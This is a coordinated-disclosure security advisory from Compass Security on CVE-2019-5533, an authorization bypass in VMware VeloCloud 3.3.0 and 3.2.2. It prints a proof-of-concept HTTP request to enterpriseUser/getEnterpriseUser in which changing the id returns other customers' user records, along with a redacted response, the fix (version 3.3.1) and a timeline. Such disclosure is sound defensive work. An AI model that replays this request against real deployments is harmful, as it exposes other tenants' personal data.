#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:   			VeloCloud
# Vendor:   			VMware
# CVE ID:   			CVE-2019-5533
# CSNC ID:  			CSNC-2019-007
# Subject:  			Authorization Bypass
# Risk:     			Moderate
# Effect:   			Remotely exploitable
# CVSS v3.1 Vector:		AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
# Author:   			Silas Bärtsch <silas.baertsch@compass-security.com>
# Date:     			10.16.2019
#
#############################################################

Introduction:
-------------
VeloCloud [1], now part of VMware, is a SD-WAN market leader. 
VMware SD-WAN by VeloCloud is a key component of the Virtual Cloud Network 
and tightly integrated with NSX Data Center and NSX Cloud to enable customers 
extend consistent networking and security policies from the data center 
to the branch to the cloud. Compass Security [2] identified a vulnerability 
that allows a VeloCloud standard admin user to access user information 
of other VeloCloud customers.

Affected:
---------
Vulnerable:
	3.3.0 and 3.2.2.
	
Not vulnerable:
	3.3.1

No other version was tested, but it is believed for the older versions to be 
vulnerable as well.

Technical Description
---------------------
The standard admin user uses the following HTTP request to retrieve 
user information. The request contains the id parameter twice. The server
does not perform any authorization checks on this parameter. Changing
it will return the user details of the corresponding user, even if the
returned user details belong to other VeloCloud customers.

```
POST /portal/ HTTP/1.1
Host: [CUT-BY-COMPASS]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: [CUT-BY-COMPASS]
Content-Type: application/json
x-vco-privileges-version: 1560945325637
X-Requested-With: XMLHttpRequest
Content-Length: 90
Cookie: culture=en-US; velocloud.session=[CUT-BY-COMPASS]
Connection: close

{"jsonrpc":"2.0","method":"enterpriseUser/getEnterpriseUser","params":{"id":1},"id":1}
```

The following information is returned.
```
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 19 Jun 2019 13:02:11 GMT
Content-Type: application/json
Content-Length: 569
Connection: close
X-Powered-By: Express
Set-Cookie: velocloud.message=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT
x-vco-privileges-version: 1560945325637
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Expires: 0
Strict-Transport-Security: max-age=31536000; includeSubdomains;
X-Frame-Options: SAMEORIGIN

{"jsonrpc":"2.0","result":
{
"id":[CUT-BY-COMPASS],
"created":"[CUT-BY-COMPASS]",
"userType":"[CUT-BY-COMPASS]",
"username":"[CUT-BY-COMPASS]",
"domain":[CUT-BY-COMPASS],
"password":"*****",
"firstName":[CUT-BY-COMPASS],
"lastName":[CUT-BY-COMPASS],
"officePhone":[CUT-BY-COMPASS],
"mobilePhone":[CUT-BY-COMPASS],
"email":"[CUT-BY-COMPASS]",
"isNative":[CUT-BY-COMPASS],
"isActive":[CUT-BY-COMPASS],
"isLocked":[CUT-BY-COMPASS],
"disableSecondFactor":[CUT-BY-COMPASS],
"lastLogin":"[CUT-BY-COMPASS]",
"modified":"[CUT-BY-COMPASS]",
"passwordModified":"[CUT-BY-COMPASS]",
"enterpriseId":[CUT-BY-COMPASS],
"enterpriseProxyId":[CUT-BY-COMPASS],
"roleId":[CUT-BY-COMPASS],
"roleName":"[CUT-BY-COMPASS]",
"networkId":[CUT-BY-COMPASS],
"isSuper":[CUT-BY-COMPASS]},
"id":[CUT-BY-COMPASS]
}
```

Workaround / Fix:
-----------------
Upgrade to VeloCloud 3.3.1, where the authorization checks are performed correctly.

Timeline:
---------
2019-10-16:     Coordinated public disclosure date
2019-08-26:     Assigned CVE-2019-5533
2019-08-21:     Release of VeloCloud 3.3.1 which includes a fix for the vulnerability
2019-07-02:     Initial vendor response
2019-07-01:     Initial vendor notification
2019-06-27:     Assigned CSNC-2019-007
2019-06-19:     Discovery by Silas Bärtsch

References:
-----------
[1] https://www.velocloud.com
[2] https://compass-security.com